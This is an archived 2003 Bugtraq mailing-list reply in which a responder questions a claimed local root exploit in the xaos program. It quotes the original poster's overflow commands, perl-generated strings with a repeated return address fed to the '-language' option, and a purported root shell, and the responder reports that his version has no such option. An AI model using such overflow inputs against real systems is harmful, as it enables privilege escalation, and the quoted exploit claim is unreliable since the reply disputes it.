bugtraq - Re: BAZARR LOCAL ROOT AGAIN. HI GUYS. DONT READ THIS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Fri, 6 Jun 2003 12:56:15 -0400
From: "Benjamin A. Okopnik" <ben@...lahans.org>
To: "bazarr@...lip.com" <bazarr@...lip.com>
Subject: Re: BAZARR LOCAL ROOT AGAIN. HI GUYS. DONT READ THIS

On Thu, Jun 05, 2003 at 03:27:23PM -0700, bazarr@...lip.com wrote:

[ snipping for context ]

> c00l@...ian:~/code/dump% /usr/bin/xaos -language `perl -e 'print "A"x20049'`
> Segmentation fault
> 
> [c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AA
> Segmentation fault
> [c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AAA
> Segmentation fault
> [c00l:dump]$ /usr/bin/xaos -language `perl -e 'print "\x45\xfe\xff\xbf"x8096'` -display AAAA
> sh-2.05a# id ; uname -a
> uid=1001(c00l) gid=1001(c00l) euid=0(root) groups=1001(c00l)

My version of "xaos" (v3.1, Debian "unstable") does not have a
"-language" option, and the above will simply generate the "help text"
(the list of available options.) It does, however, segfault on the the
"-nogui" option and the "-render" option when a non-existent file name
is given as an argument.

Ben Okopnik
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
No problem is so formidable that you can't just walk away from it.